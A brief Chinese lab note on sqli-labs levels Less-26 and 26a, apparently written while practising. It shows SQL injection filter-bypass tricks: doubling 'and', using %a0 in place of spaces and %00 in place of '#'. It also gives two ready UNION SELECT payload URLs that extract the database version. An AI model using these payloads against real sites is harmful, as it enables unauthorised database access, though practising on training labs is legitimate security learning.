Less26,26a【空格符号过滤】
26对于空格 and、or、#、等符号均在做了过滤,在应对and/or时双写过滤或 || 过滤即可,对于空格使用%a0过滤,#用%00过滤
?id=22221%27%a0UNION%a0select%a01,@@version,3%a0aandnd%a01=%271#
26a与26不同在于分隔符号,26分割符号为('
?id=12222%27)%a0UNION%a0select%a01,@@version,1=(%271#
___________________________________________________________________________________________没有白跑的路